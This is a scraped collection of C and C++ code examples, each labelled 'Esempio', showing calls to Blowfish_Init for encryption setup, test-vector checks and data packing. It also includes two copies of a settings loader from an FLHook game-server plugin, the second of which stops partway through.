Esempio n. 1
0
void CBlowfish::Init(void* key, unsigned int len)
{
	Blowfish_Init(&m_ctx,(unsigned char*)key,len);
	m_IV_Enc[0]=m_IV_Enc[1]=0;
	m_IV_Dec[0]=m_IV_Dec[1]=0;
	m_bInited=true;
}
Esempio n. 2
0
int
decryption (char *key, unsigned char *decrypt_string, unsigned char *crypt64)
   {

	BLOWFISH_CTX ctx;
	     	   
	unsigned long message_left;
	unsigned long message_right;
	int block_len;
	int n,i;
        int keylen = strlen(key);
   	unsigned char ciphertext_buffer[TAILLE];
	unsigned char *ciphertext_string = &ciphertext_buffer[0];
	int ciphertext_len, ciphertext_len_sav; 

	ciphertext_len_sav = decode_base64( crypt64, ciphertext_string);
        //ciphertext_len = strlen (ciphertext_string);

	ciphertext_len = ciphertext_len_sav;

	Blowfish_Init(&ctx, key, keylen);

	while(ciphertext_len)
	{
		message_left = message_right = 0UL;

		for (block_len = 0; block_len < 4; block_len++)
		{
		  message_left = message_left << 8;
		  message_left += *ciphertext_string++;
		  if (ciphertext_len)
		   ciphertext_len--;
		}
		for (block_len = 0; block_len < 4; block_len++)
		{
		   message_right = message_right << 8;
		   message_right += *ciphertext_string++;
		   if (ciphertext_len)
		   ciphertext_len--;
		}

		Blowfish_Decrypt(&ctx, &message_left, &message_right);


  	  	/* save the results of decryption */
		*decrypt_string++ = (unsigned char)(message_left >> 24);
		*decrypt_string++ = (unsigned char)(message_left >> 16);
		*decrypt_string++ = (unsigned char)(message_left >> 8);
		*decrypt_string++ = (unsigned char)message_left;
		*decrypt_string++ = (unsigned char)(message_right >> 24);
		*decrypt_string++ = (unsigned char)(message_right >> 16);
		*decrypt_string++ = (unsigned char)(message_right >> 8);
		*decrypt_string++ = (unsigned char)message_right;

	}
	return ciphertext_len;
}
Esempio n. 3
0
static void paz_decrypt(DWORD *cipher, DWORD cipher_length, unsigned char *key, int key_len)
{
	BLOWFISH_CTX ctx;
	DWORD i;
	
	Blowfish_Init(&ctx, key, key_len);
	for (i = 0; i < cipher_length / 8; i++)
		Blowfish_Decrypt(&ctx, &cipher[i * 2 + 0], &cipher[i * 2 + 1]);
}
Esempio n. 4
0
int main(void) {
  unsigned long L = 1, R = 2;
  BLOWFISH_CTX ctx;
  printf("%d\n", Blowfish_Test(&ctx));
  Blowfish_Init (&ctx, (unsigned char*)"TESTKEY", 7);
  Blowfish_Encrypt(&ctx, &L, &R);
  printf("%08lX %08lX\n", L, R);
  assert(L == 0xDF333FD2L && R == 0x30A71BB4L);
  Blowfish_Decrypt(&ctx, &L, &R);
  assert(L == 1 && R == 2);
}
Esempio n. 5
0
int Blowfish_Test(BlowfishContext *ctx)
{
  uint32_t L = 1, R = 2;

  Blowfish_Init (ctx, (unsigned char*)"TESTKEY", 7);
  Blowfish_Encrypt(ctx, &L, &R);
  if (L != 0xDF333FD2L || R != 0x30A71BB4L)
    return (-1);
  Blowfish_Decrypt(ctx, &L, &R);
  if (L != 1 || R != 2)
    return (-1);
  return (0);
}
Esempio n. 6
0
char *ZzipData(char *image_type, char *data, size_t *length, char **extra_headers)
{
    // zzip the data without the compression:
    unsigned int rounded_length = *length;
    char *buffer = malloc(*length+1024);   if (!buffer)                  return NULL;
    char *data2 = malloc(*length+8);     if (!data2) { free(buffer); return NULL; }
    char *key = getenv("ZZIP_KEY");
    char key_index = -1;
    uint32_t plaintextCRC;
    uint32_t plaintextChecksum;
    if (key) {
        key_index = strtoul(key, NULL, 10);
        key += 3;
        plaintextCRC = CRC32(0, data, *length);
        // Blowfish (at least our implementation) requires the input to be on an 8 byte
        // boundary. Otherwise when we decrypt we will get garbled data on the last little bit.
        if (rounded_length % 8 != 0)
            rounded_length += 8 - rounded_length % 8;
        memset(data2, 0, rounded_length);
        memcpy(data2, data, *length);
        plaintextChecksum = Checksum((uint8_t*)data2,rounded_length);
        data = data2;
        BlowfishContext context;
        Blowfish_Init(&context,(uint8_t*)key,strlen(key));
        Blowfish_Encrypt_Buffer(&context, (unsigned long*)data, rounded_length);
    }
    int o = 0;
    o += sprintf(buffer+o,"zzip version 1.0 (1394 %s)\n","1.0");
    o += sprintf(buffer+o,"Compressed Length   = 0x%08X\n",rounded_length); // should really be called "encrypted length" (only on encryption) because it's rounded up.
    o += sprintf(buffer+o,"Uncompressed Length = 0x%08X\n",*length);
    o += sprintf(buffer+o,"Checksum            = 0x%08lX\n",Checksum((uint8_t*)data,rounded_length));
    o += sprintf(buffer+o,"CRC                 = 0x%08lX\n",(unsigned long)CRC32(0, (uint8_t*)data, rounded_length));
    o += sprintf(buffer+o,"Compression         = none\n");
    o += sprintf(buffer+o,"Image Type          = %s\n", image_type);
    if (key) {
        o += sprintf(buffer+o,"Unencrypted Length  = 0x%08X\n",*length); // Should really be called "compressed length" because it's not rounded
        o += sprintf(buffer+o,"Encryption          = blowfish\n");
        o += sprintf(buffer+o,"Encryption Key      = %d\n",key_index);
        o += sprintf(buffer+o,"Plaintext Checksum  = 0x%08X\n",plaintextChecksum);
        o += sprintf(buffer+o,"Plaintext CRC       = 0x%08X\n",plaintextCRC);
    }
    while(extra_headers && *extra_headers)
        o += sprintf(buffer+o, "%s\n", *extra_headers++);
    time_t t = time(&t);
    o += sprintf(buffer+o,"Date                = %s",ctime(&t));
    memcpy(buffer+o+1, data, rounded_length);
    // Boy that was tough.
    free(data2);
    *length = o+1+rounded_length;
    return buffer;
}
Esempio n. 7
0
void Dialog::slotInitPass()
{
    if(ui->ln_passwd->text()!="" && ui->ln_passwd->text().length()>6)
    {
        QString key=ui->ln_passwd->text();
        Blowfish_Init (ctx, &key, key.length());
        encrypt=true;
        qDebug()<<"Шифрование включенно";
    }
    else
        encrypt=false;
    emit changePasswd(ctx,&encrypt);
    qDebug()<<"Изменения пароля"<<encrypt;
}
Esempio n. 8
0
/*--------------------------------------------------------------------------------*/
void ABlowfish::SetKey(const uint8_t *key, uint_t keyLen)
{
	if (key && keyLen) {
		// valid key -> create and initialise context
		BLOWFISH_CTX *ctx = (BLOWFISH_CTX *)GetContext();
		
		// zero context for safety
		memset(ctx, 0, sizeof(*ctx));

		// initialise Blowfish tables with key
		Blowfish_Init(ctx, key, keyLen);
	}
	// no key -> delete existing context
	else DeleteContext();
}
Esempio n. 9
0
static gpointer
parallel_blowfish(unsigned int start, unsigned int end, void *data, gint thread_number)
{
    BLOWFISH_CTX ctx;
    unsigned int i;
    unsigned long L, R;

    L = 0xBEBACAFE;
    R = 0xDEADBEEF;

    for (i = start; i <= end; i++) { 
        Blowfish_Init(&ctx, (unsigned char*)data, 65536);
        Blowfish_Encrypt(&ctx, &L, &R);
        Blowfish_Decrypt(&ctx, &L, &R);
    }

    return NULL;
}
Esempio n. 10
0
int main() {
  unsigned long L = 1, R = 2;
  BLOWFISH_CTX ctx;

  Blowfish_Init (&ctx, (unsigned char*)"TESTKEY", 7);
  Blowfish_Encrypt(&ctx, &L, &R);
  printf("%08lX %08lX\n", L, R);
  if (L == 0xDF333FD2L && R == 0x30A71BB4L)
    printf("Test encryption OK.\n");
  else
    printf("Test encryption failed.\n");
  Blowfish_Decrypt(&ctx, &L, &R);
  if (L == 1 && R == 2)
    printf("Test decryption OK.\n");
  else
    printf("Test decryption failed.\n");

  return 0;
}
Esempio n. 11
0
static void BlowFishEncode(int len,BYTE *source,int len_key,BYTE* init)
{
  BLOWFISH_CTX ctx;
  unsigned long lvalue,rvalue;
  int i;

  Blowfish_Init(&ctx,init,len_key);

  for (i=0; i < (len /8); i++)
    {
      lvalue = *source << 24 | *(source+1) << 16 | +*(source+2) << 8 | *(source+3);
      rvalue = *(source+4) << 24 | *(source+5) << 16 | +*(source+6) << 8 | *(source+7);

      Blowfish_Encrypt(&ctx,&lvalue,&rvalue);
      WORD_WRITE(source,lvalue >> 16);
      WORD_WRITE(source,lvalue & 0x0000ffff);
      WORD_WRITE(source,rvalue >> 16);
      WORD_WRITE(source,rvalue & 0x0000ffff);
    }
}
Esempio n. 12
0
void LoadSettings()
{
// init cfg filename
	char szCurDir[MAX_PATH];
	GetCurrentDirectory(sizeof(szCurDir), szCurDir);
	set_scCfgFile = szCurDir;
	
	// Use flhook.cfg if it is available. It is used in some installations (okay just cannon's)
	// to avoid FLErrorChecker whining retardly about ini entries it does not understand.
	if (_access(string(set_scCfgFile + "\\FLHook.cfg").c_str(), 0) != -1)
		set_scCfgFile += "\\FLHook.cfg";
	else
		set_scCfgFile += "\\FLHook.ini";


// General
	set_iAntiDockKill = IniGetI(set_scCfgFile, "General", "AntiDockKill", 0);
	set_bDieMsg = IniGetB(set_scCfgFile, "General", "EnableDieMsg", false);
	set_bDisableCharfileEncryption = IniGetB(set_scCfgFile, "General", "DisableCharfileEncryption", false);
	set_bChangeCruiseDisruptorBehaviour = IniGetB(set_scCfgFile, "General", "ChangeCruiseDisruptorBehaviour", false);
	set_iDisableNPCSpawns = IniGetI(set_scCfgFile, "General", "DisableNPCSpawns", 0);
	set_iAntiF1 = IniGetI(set_scCfgFile, "General", "AntiF1", 0);
	set_iDisconnectDelay = IniGetI(set_scCfgFile, "General", "DisconnectDelay", 0);
	set_iReservedSlots = IniGetI(set_scCfgFile, "General", "ReservedSlots", 0);
	set_fTorpMissileBaseDamageMultiplier = IniGetF(set_scCfgFile, "General", "TorpMissileBaseDamageMultiplier", 1.0f);
	set_iMaxGroupSize = IniGetI(set_scCfgFile, "General", "MaxGroupSize", 8);

// Log
	set_bDebug = IniGetB(set_scCfgFile, "Log", "Debug", false);
	set_iDebugMaxSize = IniGetI(set_scCfgFile, "Log", "DebugMaxSize", 100);
	set_iDebugMaxSize *= 1000;
	set_bLogConnects = IniGetB(set_scCfgFile, "Log", "LogConnects", false);
	set_bLogAdminCmds = IniGetB(set_scCfgFile, "Log", "LogAdminCommands", false);
	set_bLogSocketCmds = IniGetB(set_scCfgFile, "Log", "LogSocketCommands", false);
	set_bLogLocalSocketCmds = IniGetB(set_scCfgFile, "Log", "LogLocalSocketCommands", false);
	set_bLogUserCmds = IniGetB(set_scCfgFile, "Log", "LogUserCommands", false);
	set_bPerfTimer = IniGetB(set_scCfgFile, "Log", "LogPerformanceTimers", false);
	set_iTimerThreshold = IniGetI(set_scCfgFile, "Log", "TimerThreshold", 100);
	set_iTimerDebugThreshold = IniGetI(set_scCfgFile, "Log", "TimerDebugThreshold", 0);

// Kick
	set_iAntiBaseIdle = IniGetI(set_scCfgFile, "Kick", "AntiBaseIdle", 0);
	set_iAntiCharMenuIdle = IniGetI(set_scCfgFile, "Kick", "AntiCharMenuIdle", 0);


// Style
	set_wscDeathMsgStyle = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgStyle", "0x19198C01"));
	set_wscDeathMsgStyleSys = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgStyleSys", "0x1919BD01"));
	set_wscDeathMsgTextPlayerKill = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgTextPlayerKill", "Death: %victim was killed by %killer (%type)"));
	set_wscDeathMsgTextSelfKill = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgTextSelfKill", "Death: %victim killed himself (%type)"));
	set_wscDeathMsgTextNPC = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgTextNPC", "Death: %victim was killed by an NPC"));
	set_wscDeathMsgTextSuicide = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgTextSuicide", "Death: %victim committed suicide"));
	set_wscDeathMsgTextAdminKill = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgTextAdminKill", "Death: %victim was killed by an admin"));

	set_wscKickMsg = stows(IniGetS(set_scCfgFile, "Style", "KickMsg", "<TRA data=\"0x0000FF10\" mask=\"-1\"/><TEXT>You will be kicked. Reason: %s</TEXT>"));
	set_iKickMsgPeriod = IniGetI(set_scCfgFile, "Style", "KickMsgPeriod", 5000);
	set_wscUserCmdStyle = stows(IniGetS(set_scCfgFile, "Style", "UserCmdStyle", "0x00FF0090"));
	set_wscAdminCmdStyle = stows(IniGetS(set_scCfgFile, "Style", "AdminCmdStyle", "0x00FF0090"));

// Socket
	set_bSocketActivated = IniGetB(set_scCfgFile, "Socket", "Activated", false);
	set_iPort = IniGetI(set_scCfgFile, "Socket", "Port", 0);
	set_iWPort = IniGetI(set_scCfgFile, "Socket", "WPort", 0);
	set_iEPort = IniGetI(set_scCfgFile, "Socket", "EPort", 0);
	set_iEWPort = IniGetI(set_scCfgFile, "Socket", "EWPort", 0);
	string scEncryptKey = IniGetS(set_scCfgFile, "Socket", "Key", "");
	if(scEncryptKey.length())
	{
		if(!set_BF_CTX)
			set_BF_CTX = (BLOWFISH_CTX*)malloc(sizeof(BLOWFISH_CTX));
		Blowfish_Init(set_BF_CTX, (unsigned char *)scEncryptKey.data(), (int)scEncryptKey.length());
	}

// UserCommands
	set_bUserCmdSetDieMsg = IniGetB(set_scCfgFile, "UserCommands", "SetDieMsg", false);
	set_bUserCmdSetDieMsgSize = IniGetB(set_scCfgFile, "UserCommands", "SetDieMsgSize", false);
	set_bUserCmdSetChatFont = IniGetB(set_scCfgFile, "UserCommands", "SetChatFont", false);
	set_bUserCmdIgnore = IniGetB(set_scCfgFile, "UserCommands", "Ignore", false);
	set_iUserCmdMaxIgnoreList = IniGetI(set_scCfgFile, "UserCommands", "MaxIgnoreListEntries", 30);
	set_bAutoBuy = IniGetB(set_scCfgFile, "UserCommands", "AutoBuy", false);
	set_bUserCmdHelp = IniGetB(set_scCfgFile, "UserCommands", "Help", false);
	set_bDefaultLocalChat = IniGetB(set_scCfgFile, "UserCommands", "DefaultLocalChat", false);

// NoPVP
	set_lstNoPVPSystems.clear();
	for(uint i = 0;; i++)
	{
		char szBuf[64];
		sprintf(szBuf, "System%u", i);
		string scSystem = IniGetS(set_scCfgFile, "NoPVP", szBuf, "");

		if(!scSystem.length())
			break;

		uint iSystemID;
		pub::GetSystemID(iSystemID, scSystem.c_str());
		set_lstNoPVPSystems.push_back(iSystemID);
	}

// read chat suppress
	set_lstChatSuppress.clear();
	for(uint i = 0;; i++)
	{
		char szBuf[64];
		sprintf(szBuf, "Suppress%u", i);
		string scSuppress = IniGetS(set_scCfgFile, "Chat", szBuf, "");

		if(!scSuppress.length())
			break;

		set_lstChatSuppress.push_back(stows(scSuppress));
	}

// MultiKillMessages
	set_MKM_bActivated = IniGetB(set_scCfgFile, "MultiKillMessages", "Activated", false);
	set_MKM_wscStyle = stows(IniGetS(set_scCfgFile, "MultiKillMessages", "Style", "0x1919BD01"));

	set_MKM_lstMessages.clear();
	list<INISECTIONVALUE> lstValues;
	IniGetSection(set_scCfgFile, "MultiKillMessages", lstValues);
	foreach(lstValues, INISECTIONVALUE, it)
	{
		if(!atoi(it->scKey.c_str()))
			continue;

		MULTIKILLMESSAGE mkm;
		mkm.iKillsInARow = atoi(it->scKey.c_str());
		mkm.wscMessage = stows(it->scValue);
		set_MKM_lstMessages.push_back(mkm);
	}

// bans
	set_bBanAccountOnMatch = IniGetB(set_scCfgFile, "Bans", "BanAccountOnMatch", false);
	set_lstBans.clear();
	IniGetSection(set_scCfgFile, "Bans", lstValues);
	if(!lstValues.empty())
	{
		lstValues.pop_front();
		foreach(lstValues, INISECTIONVALUE, itisv)
			set_lstBans.push_back(stows(itisv->scKey));
	}

// help
	HkAddHelpEntry( L"/set diemsg", L"<visibility>", L"Sets your death message's visibility. Options: all, system, self, none.", L"", get_bUserCmdSetDieMsg );
	HkAddHelpEntry( L"/set diemsgsize", L"<size>", L"Sets your death message's text size. Options: small, default.", L"", get_bUserCmdSetDieMsgSize );
	HkAddHelpEntry( L"/set chatfont", L"<size> <style>", L"Sets your chat messages' font. Options are small, default or big for <size> and default, bold, italic or underline for <style>.", L"", get_bUserCmdSetChatFont );
	HkAddHelpEntry( L"/ignore", L"<charname> [<flags>]", L"Ignores all messages from the given character.", L"The possible flags are:\n p - only affect private chat\n i - <charname> may match partially\nExamples:\n\"/ignore SomeDude\" ignores all chatmessages from SomeDude\n\"/ignore PlayerX p\" ignores all private-chatmessages from PlayerX\n\"/ignore idiot i\" ignores all chatmessages from players whose charname contain \"idiot\" (e.g. \"[XYZ]IDIOT\", \"MrIdiot\", etc)\n\"/ignore Fool pi\" ignores all private-chatmessages from players whose charname contain \"fool\"", get_bUserCmdIgnore );
	HkAddHelpEntry( L"/ignoreid", L"<client-id> [<flags>]", L"Ignores all messages from the character with the associated client ID (see /id). Use the p flag to only affect private chat.", L"", get_bUserCmdIgnore );
	HkAddHelpEntry( L"/ignorelist", L"", L"Displays all currently ignored characters.", L"", get_bUserCmdIgnore );
	HkAddHelpEntry( L"/delignore", L"<id> [<id2> <id3> ...]", L"Removes the characters with the associated ignore ID (see /ignorelist) from the ignore list. * deletes all.", L"", get_bUserCmdIgnore );
	HkAddHelpEntry( L"/autobuy", L"<param> [<on/off>]", L"Auomatically buys the given elements upon docking. See detailed help for more information.", L"<param> can take one of the following values:\tinfo - display current autobuy-settings\n\tmissiles - enable/disable autobuy for missiles\n\ttorps - enable/disable autobuy for torpedos\n\tmines - enable/disable autobuy for mines\n\tcd - enable/disable autobuy for cruise disruptors\n\tcm - enable/disable autobuy for countermeasures\n\treload - enable/disable autobuy for nanobots/shield batteries\n\tall - enable/disable autobuy for all of the above\nExamples:\n\"/autobuy missiles on\" enable autobuy for missiles\n\"/autobuy all off\" completely disable autobuy\n\"/autobuy info\" show autobuy info", get_bAutoBuy );
	HkAddHelpEntry( L"/ids", L"", L"Lists all characters with their respective client IDs.", L"", get_bTrue );
	HkAddHelpEntry( L"/id", L"", L"Gives your own client ID.", L"", get_bTrue );
	HkAddHelpEntry( L"/ids", L"", L"Lists all characters with their respective client IDs.", L"", get_bTrue );
	HkAddHelpEntry( L"/invite$ ; /i$", L"<client-id>", L"Invites the given client ID.", L"", get_bTrue );
//	HkAddHelpEntry( L"/i$", L"<client-id>", L"Invites the given client ID.", L"", get_bTrue );
	HkAddHelpEntry( L"/bountyhunt", L"<charname> <credits> [<minutes>]", L"Sets up a Bountyhunt on the given charname for the given credits, which last the given minutes.", L"", get_bTrue );
	HkAddHelpEntry( L"/bountyhuntid", L"<id> <credits> [<minutes>]", L"Sets up a Bountyhunt on the given ID for the given credits, which last the given minutes.", L"", get_bTrue );
	HkAddHelpEntry( L"/dock ; /d", L"", L"Docks your Ship at the targeted player. (If it is able to act as a mobile base)", L"", get_bTrue );
	HkAddHelpEntry( L"/cloak ; /c", L"", L"Starts the cloaking device of your ship.", L"", get_bTrue );
	HkAddHelpEntry( L"/uncloak ; /uc", L"", L"Starts the cloaking device of your ship.", L"", get_bTrue );
	HkAddHelpEntry( L"/list", L"<character>", L"Gives Information about the given character in the following order: [NAME] [FACTION] [SHIP]", L"", get_bTrue );
	HkAddHelpEntry( L"/ping", L"", L"Shows ur current ping to the server.", L"", get_bTrue );
	HkAddHelpEntry( L"/pingtarget", L"", L"Shows the ping of ur current target to the server.", L"", get_bTrue );
	HkAddHelpEntry( L"/kills <charname>", L"", L"Shows the current amount of kills done by the given character. Leave it blank to see your own kills.", L"", get_bTrue );
	HkAddHelpEntry( L"/kills$", L"<client-id>", L"Shows the current amount of kills done by the given ID.", L"", get_bTrue );
	HkAddHelpEntry( L"/mark ; /m", L"", L"Visibly marks the selected object and let appear in the 'important' section of your scanner.", L"", get_bTrue );
	HkAddHelpEntry( L"/unmark ; /um", L"", L"Unmarks the selected object.", L"", get_bTrue );
	HkAddHelpEntry( L"/groupmark ; /gm", L"", L"Visibly marks the selected object for the entire group.", L"", get_bTrue );
	HkAddHelpEntry( L"/groupunmark ; /gum", L"", L"Unmarks the selected object for the entire group.", L"", get_bTrue );
	HkAddHelpEntry( L"/ignoregroupmarks", L"<on|off>", L"Ignores marks from other people in your group.", L"", get_bTrue );
	HkAddHelpEntry( L"/automark", L"<on|off> [<radius in KM>]", L"Automatically marks all ships in KM radius. If you want to completely diable automarking, set the radius to a number <= 0.", L"", get_bTrue );
	HkAddHelpEntry( L"/groupmark ; /gm", L"", L"Visibly marks the selected object for the entire group.", L"", get_bTrue );
	HkAddHelpEntry( L" ", L"", L" ", L"", get_bTrue );
	HkAddHelpEntry( L"/setmsg", L"<n=0-9> <text>", L"Saves a message for the variable 'n'.", L"", get_bTrue );
	HkAddHelpEntry( L"/n", L"", L"Outputs the saved message for the variable 'n' in systemchat (n=0-9).", L"", get_bTrue );
	HkAddHelpEntry( L"/ln", L"", L"Outputs the saved message for the variable 'n' in localchat (n=0-9).", L"", get_bTrue );
	HkAddHelpEntry( L"/gn", L"", L"Outputs the saved message for the variable 'n' in groupchat (n=0-9).", L"", get_bTrue );
	HkAddHelpEntry( L"/tn", L"", L"Outputs the saved message for the variable 'n' diretly to the targeted player (n=0-9).", L"", get_bTrue );
	HkAddHelpEntry( L" ", L"", L" ", L"", get_bTrue );
	//HkAddHelpEntry( L"/sinfo", L"", L"Scan if you have anything stored in the current system", L"", get_bTrue );
	HkAddHelpEntry( L"/target ; /t", L"<text>", L"Sends the text to your current target.", L"", get_bTrue );
	HkAddHelpEntry( L"/reply ; /r", L"<text>", L"Replies to the last incoming private message.", L"", get_bTrue );
	HkAddHelpEntry( L"/privatemsg ; /pm", L"<character> <text>", L"Sends a text to the given character.", L"", get_bTrue );
	HkAddHelpEntry( L"/privatemsg$ ; /pm$", L"<client-id> <text>", L"Sends a text to the given ID.", L"", get_bTrue );
	HkAddHelpEntry( L"/factionmsg ; /fm", L"<faction> <text>", L"Sends a text to the given faction. All players in this faction will see it.", L"", get_bTrue );
	HkAddHelpEntry( L"/factioninvite ; /fi", L"<faction>", L"Sends a group invite to the given faction. All players in this faction will see it.", L"", get_bTrue );
	HkAddHelpEntry( L"/mail", L"", L"Checks ur current mail inbox.", L"", get_bTrue );
	HkAddHelpEntry( L"/maildel ", L"<msgnum>", L"Deletes the mail labeled with the specified number.", L"", get_bTrue );
	HkAddHelpEntry( L"/pos", L"", L"Prints ur current position in Space.", L"", get_bTrue );
	HkAddHelpEntry( L"/stuck", L"", L"Towes ur ship if you got stucked. Use it with caution. If you are reported to use this feature for the disadvantage of other people, an admin will take care of you ;) .", L"", get_bTrue );
	HkAddHelpEntry( L"/beammeup", L"", L"Quickly beams you to a point of interest by the server admins. ", L"", get_bTrue );
	HkAddHelpEntry( L" ", L"", L" ", L"", get_bTrue );
	HkAddHelpEntry( L"/help", L"[<command>]", L"Displays the help screen. Giving a <command> gives detailed info for that command.", L"", get_bTrue );
	HkAddHelpEntry( L"/credits", L"", L"Displays FLHook's credits.", L"", get_bTrue );
	HkAddHelpEntry( L" ", L"", L" ", L"", get_bTrue );
	HkAddHelpEntry( L"=)", L"", L"This FLHook & the all of the used plugins were edited and recompiled by ***M.o.D.***", L"", get_bTrue );
	
	CALL_PLUGINS_NORET(PLUGIN_LoadSettings,,(),());
}
Esempio n. 13
0
void LoadSettings()
{
// init cfg filename
	char szCurDir[MAX_PATH];
	GetCurrentDirectory(sizeof(szCurDir), szCurDir);
	set_scCfgFile = szCurDir;
	
	// Use flhook.cfg if it is available. It is used in some installations (okay just cannon's)
	// to avoid FLErrorChecker whining retardly about ini entries it does not understand.
	if (_access(string(set_scCfgFile + "\\FLHook.cfg").c_str(), 0) != -1)
		set_scCfgFile += "\\FLHook.cfg";
	else
		set_scCfgFile += "\\FLHook.ini";


// General
	set_iAntiDockKill = IniGetI(set_scCfgFile, "General", "AntiDockKill", 0);
	set_bDieMsg = IniGetB(set_scCfgFile, "General", "EnableDieMsg", false);
	set_bDisableCharfileEncryption = IniGetB(set_scCfgFile, "General", "DisableCharfileEncryption", false);
	set_bChangeCruiseDisruptorBehaviour = IniGetB(set_scCfgFile, "General", "ChangeCruiseDisruptorBehaviour", false);
	set_iDisableNPCSpawns = IniGetI(set_scCfgFile, "General", "DisableNPCSpawns", 0);
	set_iAntiF1 = IniGetI(set_scCfgFile, "General", "AntiF1", 0);
	set_iDisconnectDelay = IniGetI(set_scCfgFile, "General", "DisconnectDelay", 0);
	set_iReservedSlots = IniGetI(set_scCfgFile, "General", "ReservedSlots", 0);
	set_fTorpMissileBaseDamageMultiplier = IniGetF(set_scCfgFile, "General", "TorpMissileBaseDamageMultiplier", 1.0f);
	set_iMaxGroupSize = IniGetI(set_scCfgFile, "General", "MaxGroupSize", 8);

// Log
	set_bDebug = IniGetB(set_scCfgFile, "Log", "Debug", false);
	set_iDebugMaxSize = IniGetI(set_scCfgFile, "Log", "DebugMaxSize", 100);
	set_iDebugMaxSize *= 1000;
	set_bLogConnects = IniGetB(set_scCfgFile, "Log", "LogConnects", false);
	set_bLogAdminCmds = IniGetB(set_scCfgFile, "Log", "LogAdminCommands", false);
	set_bLogSocketCmds = IniGetB(set_scCfgFile, "Log", "LogSocketCommands", false);
	set_bLogLocalSocketCmds = IniGetB(set_scCfgFile, "Log", "LogLocalSocketCommands", false);
	set_bLogUserCmds = IniGetB(set_scCfgFile, "Log", "LogUserCommands", false);
	set_bPerfTimer = IniGetB(set_scCfgFile, "Log", "LogPerformanceTimers", false);
	set_iTimerThreshold = IniGetI(set_scCfgFile, "Log", "TimerThreshold", 100);
	set_iTimerDebugThreshold = IniGetI(set_scCfgFile, "Log", "TimerDebugThreshold", 0);

// Kick
	set_iAntiBaseIdle = IniGetI(set_scCfgFile, "Kick", "AntiBaseIdle", 0);
	set_iAntiCharMenuIdle = IniGetI(set_scCfgFile, "Kick", "AntiCharMenuIdle", 0);


// Style
	set_wscDeathMsgStyle = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgStyle", "0x19198C01"));
	set_wscDeathMsgStyleSys = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgStyleSys", "0x1919BD01"));
	set_wscDeathMsgTextPlayerKill = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgTextPlayerKill", "Death: %victim was killed by %killer (%type)"));
	set_wscDeathMsgTextSelfKill = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgTextSelfKill", "Death: %victim killed himself (%type)"));
	set_wscDeathMsgTextNPC = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgTextNPC", "Death: %victim was killed by an NPC"));
	set_wscDeathMsgTextSuicide = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgTextSuicide", "Death: %victim committed suicide"));
	set_wscDeathMsgTextAdminKill = stows(IniGetS(set_scCfgFile, "Style", "DeathMsgTextAdminKill", "Death: %victim was killed by an admin"));

	set_wscKickMsg = stows(IniGetS(set_scCfgFile, "Style", "KickMsg", "<TRA data=\"0x0000FF10\" mask=\"-1\"/><TEXT>You will be kicked. Reason: %s</TEXT>"));
	set_iKickMsgPeriod = IniGetI(set_scCfgFile, "Style", "KickMsgPeriod", 5000);
	set_wscUserCmdStyle = stows(IniGetS(set_scCfgFile, "Style", "UserCmdStyle", "0x00FF0090"));
	set_wscAdminCmdStyle = stows(IniGetS(set_scCfgFile, "Style", "AdminCmdStyle", "0x00FF0090"));

// Socket
	set_bSocketActivated = IniGetB(set_scCfgFile, "Socket", "Activated", false);
	set_iPort = IniGetI(set_scCfgFile, "Socket", "Port", 0);
	set_iWPort = IniGetI(set_scCfgFile, "Socket", "WPort", 0);
	set_iEPort = IniGetI(set_scCfgFile, "Socket", "EPort", 0);
	set_iEWPort = IniGetI(set_scCfgFile, "Socket", "EWPort", 0);
	string scEncryptKey = IniGetS(set_scCfgFile, "Socket", "Key", "");
	if(scEncryptKey.length())
	{
		if(!set_BF_CTX)
			set_BF_CTX = (BLOWFISH_CTX*)malloc(sizeof(BLOWFISH_CTX));
		Blowfish_Init(set_BF_CTX, (unsigned char *)scEncryptKey.data(), (int)scEncryptKey.length());
	}

// UserCommands
	set_bUserCmdSetDieMsg = IniGetB(set_scCfgFile, "UserCommands", "SetDieMsg", false);
	set_bUserCmdSetDieMsgSize = IniGetB(set_scCfgFile, "UserCommands", "SetDieMsgSize", false);
	set_bUserCmdSetChatFont = IniGetB(set_scCfgFile, "UserCommands", "SetChatFont", false);
	set_bUserCmdIgnore = IniGetB(set_scCfgFile, "UserCommands", "Ignore", false);
	set_iUserCmdMaxIgnoreList = IniGetI(set_scCfgFile, "UserCommands", "MaxIgnoreListEntries", 30);
	set_bAutoBuy = IniGetB(set_scCfgFile, "UserCommands", "AutoBuy", false);
	set_bUserCmdHelp = IniGetB(set_scCfgFile, "UserCommands", "Help", false);
	set_bDefaultLocalChat = IniGetB(set_scCfgFile, "UserCommands", "DefaultLocalChat", false);

// NoPVP
	set_lstNoPVPSystems.clear();
	for(uint i = 0;; i++)
	{
		char szBuf[64];
		sprintf(szBuf, "System%u", i);
		string scSystem = IniGetS(set_scCfgFile, "NoPVP", szBuf, "");

		if(!scSystem.length())
			break;

		uint iSystemID;
		pub::GetSystemID(iSystemID, scSystem.c_str());
		set_lstNoPVPSystems.push_back(iSystemID);
	}

// read chat suppress
	set_lstChatSuppress.clear();
	for(uint i = 0;; i++)
	{
		char szBuf[64];
		sprintf(szBuf, "Suppress%u", i);
		string scSuppress = IniGetS(set_scCfgFile, "Chat", szBuf, "");

		if(!scSuppress.length())
			break;

		set_lstChatSuppress.push_back(stows(scSuppress));
	}

// MultiKillMessages
	set_MKM_bActivated = IniGetB(set_scCfgFile, "MultiKillMessages", "Activated", false);
	set_MKM_wscStyle = stows(IniGetS(set_scCfgFile, "MultiKillMessages", "Style", "0x1919BD01"));

	set_MKM_lstMessages.clear();
	list<INISECTIONVALUE> lstValues;
	IniGetSection(set_scCfgFile, "MultiKillMessages", lstValues);
	foreach(lstValues, INISECTIONVALUE, it)
	{
		if(!atoi(it->scKey.c_str()))
			continue;

		MULTIKILLMESSAGE mkm;
		mkm.iKillsInARow = atoi(it->scKey.c_str());
		mkm.wscMessage = stows(it->scValue);
		set_MKM_lstMessages.push_back(mkm);
	}

// bans
